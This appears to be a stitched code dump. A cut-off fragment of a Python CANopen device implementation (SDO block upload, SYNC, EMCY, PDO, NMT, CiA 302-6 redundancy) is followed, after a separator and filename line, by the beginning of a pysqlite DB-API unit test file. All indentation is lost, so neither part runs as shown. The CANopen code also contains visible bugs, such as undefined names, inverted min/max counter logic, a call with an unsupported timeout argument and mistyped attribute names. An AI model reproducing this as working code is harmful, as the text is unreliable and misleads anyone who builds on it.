if data_len == 0:
crc = crc_hqx(bytes(self.od.get(self._sdo_odi).get(self._sdo_odsi)), 0)
data = struct.pack("<BH5x", (SDO_SCS_BLOCK_UPLOAD << SDO_CS_BITNUM) + (n << 2) + SDO_BLOCK_SUBCOMMAND_END, crc)
else:
while data_len > 0 and self._sdo_seqno <= self._sdo_len:
if data_len > 7:
c = 0
else:
c = 1
if hasattr(self._sdo_data, "read"):
sdo_data = self._sdo_data.read(7)
else:
sdo_data = self._sdo_data[(self._sdo_seqno - 1) * 7:self._sdo_seqno * 7]
sdo_data = sdo_data.ljust(7, b'\x00')
data = struct.pack("<B7s", (c << 7) + self._sdo_seqno, sdo_data)
sdo_server_scid = sdo_server_object.get(ODSI_SDO_SERVER_DEFAULT_SCID)
if sdo_server_scid is None:
raise ValueError("SDO Server SCID not specified")
msg = can.Message(arbitration_id=sdo_server_scid.value & 0x1FFFFFFF, data=data, is_extended_id=False, channel=msg.channel)
self._send(msg, msg.channel)
data_len -= 7
self._sdo_seqno += 1
if hasattr(self._sdo_data, "seek"):
self._sdo_data.seek((1 - self._sdo_seqno) * 7, io.SEEK_CUR)
return
else: # SDO_BLOCK_SUBCOMMAND_END
if self._sdo_cs != SDO_SCS_BLOCK_UPLOAD:
logger.error("SDO Request aborted, invalid cs: {:d}".format(ccs))
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS);
logger.info("SDO block upload end request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
self._sdo_cs = None
self._sdo_data = None
self._sdo_len = None
self._sdo_odi = None
self._sdo_odsi = None
self._sdo_seqno = 0
self._sdo_t = None
return
else:
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS)
except SdoAbort as a:
logger.error("SDO aborted for mux 0x{:04X}{:02X} with error code 0x{:08X}".format(a.index, a.subindex, a.code))
self._sdo_seqno = 0
self._sdo_data = None
self._sdo_len = None
self._sdo_t = None
self._sdo_odi = None
self._sdo_odsi = None
scs = SDO_CS_ABORT
data = struct.pack("<BHBI", scs << SDO_CS_BITNUM, a.index, a.subindex, a.code)
sdo_server_scid = sdo_server_object.get(ODSI_SDO_SERVER_DEFAULT_SCID)
if sdo_server_scid is None:
raise ValueError("SDO Server SCID not specified")
msg = can.Message(arbitration_id=sdo_server_scid.value & 0x1FFFFFFF, data=data, is_extended_id=False, channel=msg.channel)
self._send(msg, msg.channel)
for index in range(0x1280, 0x1300):
if index in self.od:
sdo_client_rx_cob_id = self.od.get(index).get(ODSI_SDO_CLIENT_RX).value
sdo_server_can_id = sdo_client_rx_cob_id & 0x1FFFFFFF
if ((sdo_client_rx_cob_id & 0x8000) == 0) and can_id == sdo_server_can_id and sdo_server_can_id in self._sdo_requests:
self._sdo_requests[sdo_server_can_id] = data
def _process_sync(self):
sync_object = self.od.get(ODI_SYNC)
if sync_object is not None:
sync_object_value = sync_object.get(ODSI_VALUE)
if sync_object_value is not None and sync_object_value.value is not None:
is_sync_producer = (sync_object_value.value & 0x40000000) != 0
else:
is_sync_producer = False
else:
is_sync_producer = False
sync_time_object = self.od.get(ODI_SYNC_TIME)
if sync_time_object is not None:
sync_time_value = sync_time_object.get(ODSI_VALUE)
if sync_time_value is not None and sync_time_value.value is not None:
sync_time = sync_time_value.value / 1000000
else:
sync_time = 0
with self._sync_timer_lock:
self._cancel_timer(self._sync_timer)
if is_sync_producer and sync_time != 0:
self._sync_timer = IntervalTimer(sync_time, self._send_sync)
self._sync_timer.start()
def _reset_timers(self):
for t in self._message_timers:
self._cancel_timer(t)
for i, t in self._heartbeat_consumer_timers.items():
self._cancel_timer(t)
self._heartbeat_consumer_timers = {}
self._cancel_timer(self._err_indicator_timer)
self._cancel_timer(self._heartbeat_evaluation_reset_communication_timer)
self._cancel_timer(self._heartbeat_producer_timer)
self._cancel_timer(self._sync_timer)
self._cancel_timer(self._nmt_active_master_timer)
self._cancel_timer(self._nmt_flying_master_timer)
self._cancel_timer(self._nmt_multiple_master_timer)
def _sdo_upload_request(self, node_id, index, subindex):
sdo_server_rx_can_id = (FUNCTION_CODE_SDO_RX << FUNCTION_CODE_BITNUM) + node_id
if self._sdo_requests[sdo_server_rx_can_id] is not None:
self._send(SdoAbortResponse(node_id, 0x0000, 0x00, SDO_ABORT_GENERAL))
self._sdo_requests[sdo_server_rx_can_id] = None
self._send(SdoUploadInitiateRequest(node_id, 0x1000, 0x00))
for i in range(math.ceil(SDO_TIMEOUT / SDO_ROUND_TRIP_TIME)):
if self._sdo_requests[sdo_server_rx_can_id] is not None:
break
time.sleep(SDO_MESSAGE_TIME)
if self._sdo_requests[sdo_server_rx_can_id] is None or (self._sdo_requests[sdo_server_rx_can_id][0] >> SDO_CS_BITNUM) != SDO_SCS_UPLOAD_INITIATE:
return
return self._sdo_requests[sdo_server_rx_can_id]
def _send(self, msg: can.Message, channel=None):
if channel is None:
bus = self.active_bus
elif self.redundant_bus is not None and channel == self.redundant_bus.channel:
bus = self.redundant_bus
else:
bus = self.default_bus
max_tx_delay = None
if ODI_REDUNDANCY_CONFIGURATION in self.od: # CiA 302-6, 4.1.2.2(b)
redundancy_cfg = self.od.get(ODI_REDUNDANCY_CONFIGURATION)
max_tx_delay = redundancy_cfg.get(0x01).value / 1000
try:
bus.send(msg, max_tx_delay)
except can.CanError:
if bus == self.default_bus and max_tx_delay is not None: # CiA 302-6, Section 7.1.2.2(d)
err_threshold = redundancy_cfg.get(0x04)
err_counter = redundancy_cfg.get(0x05)
err_counter.value = min(err_threshold.value, err_counter.value + 4)
redundancy_cfg.update({0x05: err_counter})
self.od.update({ODI_REDUNDANCY_CONFIGURATION: redundancy_cfg})
if self.active_bus == self.default_bus and err_counter.value == err_threshold.value:
self._default_bus_heartbeat_disabled = True
self.active_bus = self.redundant_bus
self.send_nmt(NmtIndicateActiveInterfaceMessage())
else:
if bus == self.default_bus and max_tx_delay is not None: # CiA 302-6, Section 7.1.2.2(e)
err_counter = redundancy_cfg.get(0x05)
err_counter.value = min(0, err_counter.value - 1)
redundancy_cfg.update({0x05: err_counter})
self.od.update({ODI_REDUNDANCY_CONFIGURATION: redundancy_cfg})
if err_counter.value == 0:
self._default_bus_heartbeat_disabled = False
def _send_emcy(self, eec, msef=0):
emcy_id_obj = self.od.get(ODI_EMCY_ID)
if emcy_id_obj is None:
return
emcy_id_value = emcy_id_obj.get(ODSI_VALUE)
if emcy_id_value is None:
return
if emcy_id_value.value is None:
return
er_obj = self.od.get(ODI_ERROR)
if er_obj is None:
return
er_value = er_obj.get(ODSI_VALUE)
if er_value is None:
return
if er_value.value is None:
return
msg = EmcyMessage(emcy_id_value.value, eec, er_value.value, msef)
if self._nmt_state == NMT_STATE_STOPPED and self._redundant_nmt_state == NMT_STATE_STOPPED:
self._pending_emcy_msgs.append(msg)
return
emcy_inhibit_time_obj = self.od.get(ODI_INHIBIT_TIME_EMCY)
if emcy_inhibit_time_obj is not None:
emcy_inhibit_time_subobj = emcy_inhibit_time_obj.get(ODSI_VALUE)
if emcy_inhibit_time_subobj.value != 0:
emcy_inhibit_time = emcy_inhibit_time_subobj.value / 10000
if self._emcy_inhibit_time + emcy_inhibit_time < time.time():
logger.info("EMCY inhibit time violation, delaying message")
self._emcy_inhibit_time += emcy_inhibit_time
if self._nmt_state == NMT_STATE_PREOPERATIONAL or self._nmt_state == NMT_STATE_OPERATIONAL:
t = threading.Timer(time.time() - self._emcy_inhibit_time, self._send, [msg, self.default_bus.channel])
t.start()
self._message_timers.append(t)
if self._redundant_nmt_state == NMT_STATE_PREOPERATIONAL or self._redundant_nmt_state == NMT_STATE_OPERATIONAL:
t = threading.Timer(time.time() - self._emcy_inhibit_time, self._send, [msg, self.redundant_bus.channel])
t.start()
self._message_timers.append(t)
return
if self._nmt_state == NMT_STATE_PREOPERATIONAL or self._nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, channel=self.default_bus.channel, timeout=max_tx_delay)
if self._redundant_nmt_state == NMT_STATE_PREOPERATIONAL or self._redundant_nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, channel=self.redundant_bus.channel, timeout=max_tx_delay)
def _send_heartbeat(self):
msg = HeartbeatMessage(self.id, self.nmt_state)
if not self._default_bus_heartbeat_disabled:
self._send(msg, self.default_bus.channel)
if self.redundant_bus is not None:
self._send(msg, self.redundant_bus.channel)
def _send_pdo(self, i):
i = i - 1
data = bytes()
tpdo_mp = self.od.get(ODI_TPDO1_MAPPING_PARAMETER + i)
if tpdo_mp is not None:
tpdo_mp_length = tpdo_mp.get(ODSI_VALUE)
if tpdo_mp_length is not None and tpdo_mp_length.value is not None:
for j in range(tpdo_mp_length.value):
mapping_param = tpdo_mp.get(j + 1)
if mapping_param is not None and mapping_param.value is not None:
mapped_obj = self.od.get(mapping_param.value >> 16)
if mapped_obj is not None:
mapped_subobj = mapped_obj.get((mapping_param.value >> 8) & 0xFF)
else:
raise ValueError("Mapped PDO object does not exist")
if mapped_subobj is not None:
mapped_bytes = bytes(mapped_subobj)
if len(mapped_bytes) != ((mapping_param.value & 0xFF) // 8):
raise ValueError("PDO Mapping length mismatch")
data = data + mapped_bytes
else:
raise ValueError("Mapped PDO object does not exist")
tpdo_cp = self.od.get(ODI_TPDO1_COMMUNICATION_PARAMETER + i)
if tpdo_cp is not None:
tpdo_cp_id = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_ID)
if tpdo_cp_id is not None and tpdo_cp_id.value is not None:
msg = can.Message(arbitration_id=tpdo_cp_id.value & 0x1FFF, data=data, is_extended_id=False)
self._tpdo_triggers[i] = False
if ODSI_TPDO_COMM_PARAM_INHIBIT_TIME in tpdo_cp:
tpdo_inhibit_time = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_INHIBIT_TIME).value / 10000
if i not in self._tpdo_inibit_time:
self._tpdo_inhibit_times[i] = 0
if self._tpdo_inhibit_times[i] + tpdo_inhibit_time < time.time():
logger.info("TPDO{} inhibit time violation, delaying message".format(i))
self._tpdo_inhibit_times[i] += tpdo_inhibit_time
# CiA 302-6, 4.1.2.2(a)
if self._nmt_state == NMT_STATE_OPERATIONAL:
t = threading.Timer(time.time() - self._tpdo_inhibit_times[i], self._send, [msg, self.default_bus.channel])
t.start()
self._message_timers.append(t)
if self._redundant_nmt_state == NMT_STATE_OPERATIONAL:
t = threading.Timer(time.time() - self._tpdo_inhibit_times[i], self._send, [msg, self.redundant_bus.channel])
t.start()
self._message_timers.append(t)
else:
if self._nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, self.default_bus.channel)
if self._redundant_nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, self.redundant_bus.channel)
def _send_sync(self):
sync_object = self.od.get(ODI_SYNC)
if sync_object is not None:
sync_value = sync_object.get(ODSI_VALUE)
if sync_value is not None and sync_value.value is not None:
sync_id = sync_value.value & 0x1FFFF
msg = can.Message(arbitration_id=sync_id, is_extended_id=False)
if self._nmt_state == NMT_STATE_PREOPERATIONAL or self._nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, self.default_bus.channel)
if self._redundant_nmt_state is not None and self._redundant_nmt_state == NMT_STATE_PREOPERATIONAL or self._redundant_nmt_state == NMT_STATE_OPERATIONAL:
self._send(msg, self.redundant_bus.channel)
@property
def active_bus(self):
return self._active_bus
@active_bus.setter
def active_bus(self, bus):
logger.info("Active bus is now {}".format(bus.channel))
self._active_bus = bus
def emcy(self, eec, msef=0):
errors_obj = self.od.get(ODI_PREDEFINED_ERROR_FIELD)
if errors_obj is not None:
errors_length_subobj = errors_obj.get(ODSI_VALUE)
errors_length_subobj.value = max(0xFF, errors_length_subobj.value + 1)
errors_obj.update({ODSI_VALUE: errors_length_subobj})
for si in range(1, errors_length_subobj.value):
errors_obj.update({(si + 1): errors_obj.get(si)})
errors_obj.update({0x01: SubObject(
parameter_name="Standard error field",
access_type=AccessType.RO,
data_type=ODI_DATA_TYPE_UNSIGNED32,
low_limit=0x00000000,
high_limit=0xFFFFFFF,
default_value=((msef & 0xFFFF) << 16) + eec
)})
self.od.update({ODI_PREDEFINED_ERROR_FIELD: errors_obj})
self._send_emcy(eec, msef)
@property
def nmt_state(self):
if self.active_bus.channel == self.default_bus.channel:
return self._nmt_state
else:
return self._redundant_nmt_state
@nmt_state.setter
def nmt_state(self, nmt_state):
channel = None
if isinstance(nmt_state, tuple):
nmt_state, channel = nmt_state
if channel is None:
channel = self.active_bus.channel
logger.info("Entering NMT state on {} with value 0x{:02X}".format(channel, nmt_state))
if channel == self.default_bus.channel:
self._nmt_state = nmt_state
try:
self._run_indicator.set_state(nmt_state)
except AttributeError:
pass
else:
self._redundant_nmt_state = nmt_state
try:
self._redundant_run_indicator.set_state(nmt_state)
except AttributeError:
pass
for msg in self._pending_emcy_msgs:
self.send_emcy(msg)
@property
def is_active_nmt_master(self):
return self._nmt_active_master
@property
def is_nmt_master_capable(self):
nmt_startup_obj = self.od.get(ODI_NMT_STARTUP)
if nmt_startup_obj is not None:
nmt_startup = nmt_startup_obj.get(ODSI_VALUE).value
if nmt_startup & 0x01:
return True
return False
def on_sdo_download(self, odi, odsi, obj, sub_obj):
pass
def recv(self):
return self.active_bus.recv() # Returns can.Message
def reset(self):
logger.info("Device reset")
self.active_bus = self.default_bus
self.nmt_state = (NMT_STATE_INITIALISATION, self.default_bus.channel)
if self.redundant_bus is not None:
self.nmt_state = (NMT_STATE_INITIALISATION, self.default_bus.channel)
self.od = self._default_od
if ODI_REDUNDANCY_CONFIGURATION in self.od:
logger.info("Node is configured for redundancy")
redundancy_cfg = self.od.get(ODI_REDUNDANCY_CONFIGURATION)
self._cancel_timer(self._heartbeat_evaluation_power_on_timer)
logger.info("Starting heartbeat evaluation timer (power-on)")
heartbeat_eval_time = redundancy_cfg.get(0x02).value
self._heartbeat_evaluation_power_on_timer = threading.Timer(heartbeat_eval_time, self._heartbeat_evaluation_power_on_timeout)
self._heartbeat_evaluation_power_on_timer.start()
threading.Thread(target=self.reset_communication, args=(self.default_bus.channel,), daemon=True).start()
if self.redundant_bus is not None:
threading.Thread(target=self.reset_communication, args=(self.redundant_bus.channel,), daemon=True).start()
def reset_communication(self, channel=None):
if channel is None:
channel = self.active_bus.channel
logger.info("Device reset communication on {}".format(channel))
self.nmt_state = (NMT_STATE_INITIALISATION, channel)
self._reset_timers()
if self._err_indicator is not None:
self._err_indicator_timer = IntervalTimer(self._err_indicator.interval, self._process_err_indicator)
self._err_indicator_timer.start()
for odi, obj in self._default_od.items():
if odi >= 0x1000 and odi <= 0x1FFF:
self.od.update({odi: obj})
if ODI_REDUNDANCY_CONFIGURATION in self.od and channel == self.active_bus.channel:
logger.info("Node is configured for redundancy")
redundancy_cfg = self.od.get(ODI_REDUNDANCY_CONFIGURATION)
timer_was_running = self._cancel_timer(self._heartbeat_evaluation_power_on_timer)
if channel == self.default_bus.channel and timer_was_running: # CiA 302-6, Figure 7, event (3)
logger.info("Restarting heartbeat evaluation timer (power-on)")
heartbeat_eval_time = redundancy_cfg.get(0x02).value
self._heartbeat_evaluation_power_on_timer = threading.Timer(heartbeat_eval_time, self._heartbeat_evaluation_power_on_timeout)
self._heartbeat_evaluation_power_on_timer.start()
else: # CiA 302-6, Figure 7, event (10) or (11)
logger.info("Restarting heartbeat evaluation timer (reset communication")
heartbeat_eval_time = redundancy_cfg.get(0x03).value
self._heartbeat_evaluation_reset_communication_timer = threading.Timer(heartbeat_eval_time, self._heartbeat_evaluation_reset_communication_timeout)
self._heartbeat_evaluation_reset_communication_timer.start()
self._pending_emcy_msgs = []
self._boot(channel)
def reset_emcy(self):
self._send_emcy(0)
def send_nmt(self, msg):
nmt_inhibit_time_obj = self.od.get(ODI_NMT_INHIBIT_TIME)
if nmt_inhibit_time_obj is not None:
nmt_inhibit_time_subobj = nmt_inhibit_time_obj.get(ODSI_VALUE)
if nmt_inhibit_time_subobj.value != 0:
nmt_inhibit_time = nmt_inhibit_time_subobj.value / 1000
if self._nmt_inhibit_time + nmt_inhibit_time < time.time():
logger.info("NMT inhibit time violation, delaying message")
self._nmt_inhibit_time += nmt_inhibit_time
t = threading.Timer(time.time() - self._nmt_inhibit_time, self._send, [msg])
t.start()
self._message_timers.append(t)
return
return self._send(msg)
def send_time(self, ts=None):
if ts is None:
ts = datetime.datetime.now() + self._timedelta
if not isinstance(ts, datetime):
raise ValueError("Timestamp must be of type datetime")
time_obj = self.od.get(ODI_TIME_STAMP)
if time_obj is None:
return False
time_cob_id = time_obj.get(ODSI_value).value
if time_cob_id & 0x40:
td = ts - datetime.datetime(1984, 1, 1)
msg = Message(time_cob_id & 0x1FFF, self.id, struct.pack("<IH", int(td.seconds * 1000 + td.microseconds / 1000) << 4, td.days))
max_tx_delay = None
if self._nmt_state == NMT_STATE_OPERATIONAL or self._nmt_state == NMT_STATE_PREOPERATIONAL:
self._send(msg, channel=self._default_bus.channel)
if self._redundant_nmt_state == NMT_STATE_OPERATIONAL or self._redundant_nmt_state == NMT_STATE_PREOPERATIONAL:
self._send(msg, channel=self._redundant_bus.channel)
def trigger_tpdo(self, tpdo): # Event-driven TPDO
tpdo_cp = self.od.get(ODI_TPDO1_COMMUNICATION_PARAMETER + tpdo - 1)
if tpdo_cp is not None:
tpdo_cp_id = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_ID)
if tpdo_cp_id is not None and (tpdo_cp_id >> TPDO_COMM_PARAM_ID_VALID_BITNUM) & 1 == 0:
tpdo_cp_type = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_TYPE)
if tpdo_cp_type is not None and (tpdo_cp_type == 0xFE or tpdo_cp_type == 0xFF):
self._send_pdo(tpdo)
else:
self._tpdo_triggers[tpdo] = True # Defer until SYNC event
|
dbapi.py
|
# pysqlite2/test/dbapi.py: tests for DB-API compliance
#
# Copyright (C) 2004-2010 Gerhard Häring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the authors be held liable for any damages
# arising from the use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
# claim that you wrote the original software. If you use this software
# in a product, an acknowledgment in the product documentation would be
# appreciated but is not required.
# 2. Altered source versions must be plainly marked as such, and must not be
# misrepresented as being the original software.
# 3. This notice may not be removed or altered from any source distribution.
import threading
import unittest
import sqlite3 as sqlite
import sys
from test.support import check_disallow_instantiation
from test.support.os_helper import TESTFN, unlink
class ModuleTests(unittest.TestCase):
def test_api_level(self):
self.assertEqual(sqlite.apilevel, "2.0",
"apilevel is %s, should be 2.0" % sqlite.apilevel)
def test_thread_safety(self):
self.assertEqual(sqlite.threadsafety, 1,
"threadsafety is %d, should be 1" % sqlite.threadsafety)
def test_param_style(self):
self.assertEqual(sqlite.paramstyle, "qmark",
"paramstyle is '%s', should be 'qmark'" %
sqlite.paramstyle)
def test_warning(self):
self.assertTrue(issubclass(sqlite.Warning, Exception),
"Warning is not a subclass of Exception")
def test_error(self):
self.assertTrue(issubclass(sqlite.Error, Exception),
"Error is not a subclass of Exception")
def test_interface_error(self):
self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error),
"InterfaceError is not a subclass of Error")
def test_database_error(self):
self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error),
"DatabaseError is not a subclass of Error")
def test_data_error(self):
self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError),
"DataError is not a subclass of DatabaseError")
def test_operational_error(self):
self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError),
"OperationalError is not a subclass of DatabaseError")
def test_integrity_error(self):
self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError),
"IntegrityError is not a subclass of DatabaseError")
def test_internal_error(self):
self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError),
"InternalError is not a subclass of DatabaseError")
def test_programming_error(self):
self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError),
"ProgrammingError is not a subclass of DatabaseError")
def test_not_supported_error(self):
self.assertTrue(issubclass(sqlite.NotSupportedError,
sqlite.DatabaseError),
"NotSupportedError is not a subclass of DatabaseError")
# sqlite3_enable_shared_cache() is deprecated on macOS and calling it may raise
# OperationalError on some buildbots.
@unittest.skipIf(sys.platform == "darwin", "shared cache is deprecated on macOS")
def test_shared_cache_deprecated(self):
for enable in (True, False):
with self.assertWarns(DeprecationWarning) as cm:
sqlite.enable_shared_cache(enable)
self.assertIn("dbapi.py", cm.filename)
def test_disallow_instantiation(self):
cx = sqlite.connect(":memory:")
check_disallow_instantiation(self, type(cx("select 1")))
class ConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
cu = self.cx.cursor()
cu.execute("create table test(id integer primary key, name text)")
cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cx.close()
def test_commit(self):
self.cx.commit()
def test_commit_after_no_changes(self):
"""
A commit should also work when no changes were made to the database.
"""
self.cx.commit()
self.cx.commit()
def test_rollback(self):
self.cx.rollback()
def test_rollback_after_no_changes(self):
"""
A rollback should also work when no changes were made to the database.
"""
self.cx.rollback()
self.cx.rollback()
def test_cursor(self):
cu = self.cx.cursor()
def test_failed_open(self):
YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db"
with self.assertRaises(sqlite.OperationalError):
con = sqlite.connect(YOU_CANNOT_OPEN_THIS)
def test_close(self):
self.cx.close()
def test_exceptions(self):
# Optional DB-API extension.
self.assertEqual(self.cx.Warning, sqlite.Warning)
self.assertEqual(self.cx.Error, sqlite.Error)
self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError)
self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError)
self.assertEqual(self.cx.DataError, sqlite.DataError)
self.assertEqual(self.cx.OperationalError, sqlite.OperationalError)
self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError)
self.assertEqual(self.cx.InternalError, sqlite.InternalError)
self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError)
self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError)
def test_in_transaction(self):
# Can't use db from setUp because we want to test initial state.
cx = sqlite.connect(":memory:")
cu = cx.cursor()
self.assertEqual(cx.in_transaction, False)
cu.execute("create table transactiontest(id integer primary key, name text)")
self.assertEqual(cx.in_transaction, False)
cu.execute("insert into transactiontest(name) values (?)", ("foo",))
self.assertEqual(cx.in_transaction, True)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, True)
cx.commit()
self.assertEqual(cx.in_transaction, False)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, False)
def test_in_transaction_ro(self):
with self.assertRaises(AttributeError):
self.cx.in_transaction = True
def test_open_with_path_like_object(self):
""" Checks that we can successfully connect to a database using an object that
is PathLike, i.e. has __fspath__(). """
self.addCleanup(unlink, TESTFN)
class Path:
def __fspath__(self):
return TESTFN
path = Path()
with sqlite.connect(path) as cx:
cx.execute('create table test(id integer)')
def test_open_uri(self):
self.addCleanup(unlink, TESTFN)
with sqlite.connect(TESTFN) as cx:
cx.execute('create table test(id integer)')
with sqlite.connect('file:' + TESTFN, uri=True) as cx:
cx.execute('insert into test(id) values(0)')
with sqlite.connect('file:' + TESTFN + '?mode=ro', uri=True) as cx:
with self.assertRaises(sqlite.OperationalError):
cx.execute('insert into test(id) values(1)')
class UninitialisedConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.Connection.__new__(sqlite.Connection)
def test_uninit_operations(self):
funcs = (
lambda: self.cx.isolation_level,
lambda: self.cx.total_changes,
lambda: self.cx.in_transaction,
lambda: self.cx.iterdump(),
lambda: self.cx.cursor(),
lambda: self.cx.close(),
)
for func in funcs:
with self.subTest(func=func):
self.assertRaisesRegex(sqlite.ProgrammingError,
"Base Connection.__init__ not called",
func)
class CursorTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute(
"create table test(id integer primary key, name text, "
"income number, unique_test text unique)"
)
self.cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cu.close()
self.cx.close()
def test_execute_no_args(self):
self.cu.execute("delete from test")
def test_execute_illegal_sql(self):
with self.assertRaises(sqlite.OperationalError):
self.cu.execute("select asdf")
def test_execute_too_much_sql(self):
with self.assertRaises(sqlite.Warning):
self.cu.execute("select 5+4; select 4+5")
def test_execute_too_much_sql2(self):
self.cu.execute("select 5+4; -- foo bar")
def test_execute_too_much_sql3(self):
self.cu.execute("""
select 5+4;
/*
foo
*/
""")
def test_execute_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.execute(42)
def test_execute_arg_int(self):
self.cu.execute("insert into test(id) values (?)", (42,))
def test_execute_arg_float(self):
self.cu.execute("insert into test(income) values (?)", (2500.32,))
def test_execute_arg_string(self):
self.cu.execute("insert into test(name) values (?)", ("Hugo",))
def test_execute_arg_string_with_zero_byte(self):
self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",))
self.cu.execute("select name from test where id=?", (self.cu.lastrowid,))
row = self.cu.fetchone()
self.assertEqual(row[0], "Hu\x00go")
def test_execute_non_iterable(self):
with self.assertRaises(ValueError) as cm:
self.cu.execute("insert into test(id) values (?)", 42)
self.assertEqual(str(cm.exception), 'parameters are of unsupported type')
def test_execute_wrong_no_of_args1(self):
# too many parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)", (17, "Egon"))
def test_execute_wrong_no_of_args2(self):
# too little parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_wrong_no_of_args3(self):
# no parameters, parameters are needed
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_param_list(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", ["foo"])
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence(self):
class L:
def __len__(self):
return 1
def __getitem__(self, x):
assert x == 0
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", L())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence_bad_len(self):
# Issue41662: Error in __len__() was overridden with ProgrammingError.
class L:
def __len__(self):
1/0
def __getitem__(slf, x):
raise AssertionError
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(ZeroDivisionError):
self.cu.execute("select name from test where name=?", L())
def test_execute_dict_mapping(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", {"name": "foo"})
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_mapping(self):
class D(dict):
def __missing__(self, key):
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", D())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_too_little_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"})
def test_execute_dict_mapping_no_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name")
def test_execute_dict_mapping_unnamed(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=?", {"name": "foo"})
def test_close(self):
self.cu.close()
def test_rowcount_execute(self):
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("update test set name='bar'")
self.assertEqual(self.cu.rowcount, 2)
def test_rowcount_select(self):
"""
pysqlite does not know the rowcount of SELECT statements, because we
don't fetch all rows after executing the select statement. The rowcount
has thus to be -1.
"""
self.cu.execute("select 5 union select 6")
self.assertEqual(self.cu.rowcount, -1)
def test_rowcount_executemany(self):
self.cu.execute("delete from test")
self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)])
self.assertEqual(self.cu.rowcount, 3)
def test_total_changes(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.assertLess(2, self.cx.total_changes, msg='total changes reported wrong value')
# Checks for executemany:
# Sequences are required by the DB-API, iterators
# enhancements in pysqlite.
def test_execute_many_sequence(self):
self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)])
def test_execute_many_iterator(self):
class MyIter:
def __init__(self):
self.value = 5
def __next__(self):
if self.value == 10:
raise StopIteration
else:
self.value += 1
return (self.value,)
self.cu.executemany("insert into test(income) values (?)", MyIter())
def test_execute_many_generator(self):
def mygen():
for i in range(5):
yield (i,)
self.cu.executemany("insert into test(income) values (?)", mygen())
def test_execute_many_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.executemany(42, [(3,)])
def test_execute_many_select(self):
with self.assertRaises(sqlite.ProgrammingError):
self.cu.executemany("select ?", [(3,)])
def test_execute_many_not_iterable(self):
with self.assertRaises(TypeError):
self.cu.executemany("insert into test(income) values (?)", 42)
def test_fetch_iter(self):
# Optional DB-API extension.
self.cu.execute("delete from test")
self.cu.execute("insert into test(id) values (?)", (5,))
self.cu.execute("insert into test(id) values (?)", (6,))
self.cu.execute("select id from test order by id")
lst = []
for row in self.cu:
lst.append(row[0])
self.assertEqual(lst[0], 5)
self.assertEqual(lst[1], 6)
def test_fetchone(self):
self.cu.execute("select name from test")
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
row = self.cu.fetchone()
